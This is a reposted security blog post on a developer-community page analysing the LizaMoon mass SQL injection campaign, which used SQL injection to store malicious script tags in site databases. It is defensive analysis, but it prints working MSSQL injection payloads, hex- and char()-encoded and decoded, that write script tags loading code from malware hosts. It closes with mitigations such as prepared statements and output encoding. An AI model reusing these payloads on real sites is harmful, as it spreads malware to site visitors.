开发者社区> 技术小美> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

LizaMoon: Stored XSS via SQL Injection

简介:
+关注继续查看

 Blended Attacks

More and more of today's web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...).  These are blended attacks.

LizaMoon Attacks

As most of you have already heard, or have faced yourselves, the LizaMoon mass SQL Injection attacks are still going strong on the web. Here is a recent entry from the WASC Web Hacking Incident Database (WHID) -

WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site

Entry Title: WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site
WHID ID: 2011-61
Date Occurred: March 29, 2011
Attack Method: SQL Injection
Application Weakness: Improper Input Handling
Outcome: Planting of Malware
Attacked Entity Field: Multiple
Attacked Entity Geography: 
Incident Description: Attackers have launched a large-scale SQL injection attack that has compromised several thousand legitimate Websites, including a few catalog pages from Apple's iTunes music store.
Mass Attack: Yes
Mass Attack Name: LizaMoon
Reference: http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/
Attack Source Geography: 

SQL Injection or Cross-site Scripting?

While SQL Injection was used as the attack vector, it was merely a means to an end.  The desired outcome of these attacks are to execute code within a web visitor's browser, which is the definition of Cross-site Scripting.  It is important to keep this end goal in mind when considering mitigation options.  So why are people focusing so much on the SQL Injection aspect of these attacks?  One word - Scale.  

Economies of Scale - Generic SQL Injection Payloads

Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same.This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Mass SQL Injection Bots in 2008

In 2008, attackers figure out an ingenious method to generically inject SQL payloads into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that would generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

Skeleton Key attack payload if you will all in one request.  Brutal...

Here is an example generic SQL injection payload from 2008  -

GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000);SET%20@S=CAST(0x4445434c41524520405420
5641524348415228323535292c4043205641524348415228323535
29204445434c415245205461626c655f437572736f722043555253
4f5220464f522053454c45435420612e6e616d652c622e6e616d652
046524f4d207379736f626a6563747320612c737973636f6c756d6
e73206220574845524520612e69643d622e696420414e4420612e
78747970653d27752720414e442028622e78747970653d393920
4f5220622e78747970653d3335204f5220622e78747970653d323
331204f5220622e78747970653d31363729204f50454e205461626
c655f437572736f72204645544348204e4558542046524f4d20546
1626c655f437572736f7220494e544f2040542c4043205748494c4
528404046455443485f5354415455533d302920424547494e20455
845432827555044415445205b272b40542b275d20534554205b27
2b40432b275d3d525452494d28434f4e56455254285641524348415
22834303030292c5b272b40432b275d29292b27273c7363726970
74207372633d73646f2e313030306d672e636e2f63737273732f77
2e6a733e3c2f7363726970743e27272729204645544348204e4558
542046524f4d205461626c655f437572736f7220494e544f2040542
c404320454e4420434c4f5345205461626c655f437572736f722044
45414c4c4f43415445205461626c655f437572736f7220%20AS%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.example.com
Connection: Close

If we decode the HEX encoded SQL data, we see that this is actually a script command that loops through various DB table fields and then appends the XSS javascript code to them all -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Current LizaMoon-type SQL Injection Payloads

We have analyzed a number of different examples from the current LizaMoon-type SQL Injection attacks and have noticed some differences from the previous examples of 2008.  The main difference is that these new attack payloads are not generic scripts like the ones from 2008.  These payloads are specific to each site.  Here are two examples:

Sample #1 -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+
as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(
108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B
char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10
4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch
ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11
6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha
r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)
%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(
114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v
archar(8)))--

Sample #1 Decoded -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+
as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php>
+as+varchar(8000)),cast(char(32)+as+v
archar(8)))--

Notice that this SQL payload does not use the same generic for loop scripting and intstead focuses on specific DB fields (usd_ResponseDetails and categoryName).

Sample #2 -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000))
,cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2B
char(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(11
6)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bch
ar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(108)%2Bchar(105)%2Bchar(122)
%2Bchar(97)%2Bchar(109)%2Bchar(111)%2Bchar(111)%2Bchar(110)%2Bchar(46)%2Bchar(99)%2Bchar
(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%
2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(1
05)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Sample #2 Decoded -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000))
,cast(</title><script src=http://lizamoon.com/ur.php></script>
+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Notice, again, that this SQL payload does not use the same generic for loop scripting and intstead focuses on different specific DB fields (tblMembers and Forename).

This means that, while these SQL Injection attacks are highly successful, they are not generic in nature and thus require some sort of SQL probing in order to identify the proper DB structure before sending the final attack payload.  

Defending against SQL Injection

Step #1 - Input Validation

The first step in defending against this type of attack is to ensure that you are filtering client input and applying input validation mechanisms to ensure that the data is acceptable.  The OWASP ModSecurity Core Rule Set (CRS) Project contains many different rules that identify these types of attacks.  You can even follow this link to send the same payload to the online ModSecurity CRS demo page and see the various rules that trigger.

Step #2 - Use Prepared Statements with Bound Parameters

The underlying issue with SQL Injection attacks is that many SQL statements are dynamically created by simply concatenating client data into the query.  You should review the OWASP SQL Injection Cheat-sheet document to get a better understanding of the issues.

Defending against XSS

Let's not forget that the actual goal of these attacks are XSS.  These SQL Injection payloads are adding in rogue html javascript tags to response pages.  Here are a few defensive items to consider.

OWASP XSS Prevention Cheat-sheet

Make sure that all developers review the OWASP XSS Prevention Cheat-sheet.

Output Encoding/Escaping

An intersting item to note with trying to identify the scale of these mass attacks is this -

The number of infected links returned by search engines only lists when sql injection was successful but the XSS payload injection wasn't.

Why is this?  Take a look at an example Google Search question for LizaMoon payloads.  Here is some example raw html of a site returned by the search:

<td id="tdDevelopmentName">Riyad Resort      
&lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;
&lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;
 Gallery</td>

This code does not execute javascript but instead only renders the text.  If the XSS script tags were successfully injected, meaning that the apps were not properly output encoding/escaping payloads, then the search engine spiders would not be indexing the snippets of code.  The search engines do not index the raw html source code but only the rendered text.

So, even though sites listed in the search results were vulnerable to SQL Injection and compromised, they actually prevented the goal of this attack since the web app is properly output encoding the data sent to the clients.

Ensure proper Output Encoding/Escaping Coverage

After working with new customers who came to us after being compromised, we are finding some interesing root-cause/remediation scenarios.  Even if an organization conducts proper application analysis to identify locations that hold user-supplied data, where they are echoed back to clients and then applying proper contextual output encoding, this may not be enough... 

You may be saying "Huh?"

Due to the SQL Injection payload adding the malicious JS data to many back-end DB fields, the data may be injected into a field (such as the page Title data) that was never legitimately supposed to contain user-supplied data.  The result is that organization must re-analyze their output escaping strategy to ensure that they have applied encoding to all possible fields.

Identifying Rogue JavaScript in Output 

Regardless of inbound request data, security devices such as Web Application Firewalls (WAFs) can aid in the tracking of legitimate script tags contained within web pages.  For instance, the Trustwave WebDefend WAF has the capability to identify when new script tags are successfully entered into response pages.

Identifying Malware Links in Response Pages

As outlined in the previous blog post ModSecurity Advanced Topic of the Week: Malware Link Detection, ModSecurity has a new API which allows it to utilize Google's Safe Browsing DB.  This can help to prevent malicious links from being sent from your site onto clients.









本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/543778,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Java工具篇之反射框架Reflections
Reflections通过扫描classpath,索引元数据,并且允许在运行时查询这些元数据。 使用Reflections可以很轻松的获取以下元数据信息: - [x] 获取某个类型的全部子类 - [x] 只要类型、构造器、方法,字段上带有特定注解,便能获取带有这个注解的全部信息(类型、构造器、方法,字段) - [x] 获取所有能匹配某个正则表达式的资源 - [x] 获取所有带有特定签名的方法,包括参数,参数注解,返回类型 - [x] 获取所有方法的名字 - [x] 获取代码里所有字段、方法名、构造器的使用权
61 0
[20170912]sql injection例子.txt
[20170912]sql injection例子.txt --//来之tom的例子,做一个记录.也许以后讲解需要!! 1.环境: SCOTT@book> @ &r/ver1 PORT_STRING                    VERSION   ...
747 0
代理IP爬取,计算,发放自动化系统
IoC Python端 MySQL端 PHP端 怎么使用 这学期有一门课叫《物联网与云计算》,于是我就做了一个大作业,实现的是对代理IP的爬取,计算推荐,发放给用户等任务的的自动化系统。
1167 0
SQL Injection Cheat Sheet
 http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
624 0
+关注
6819
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载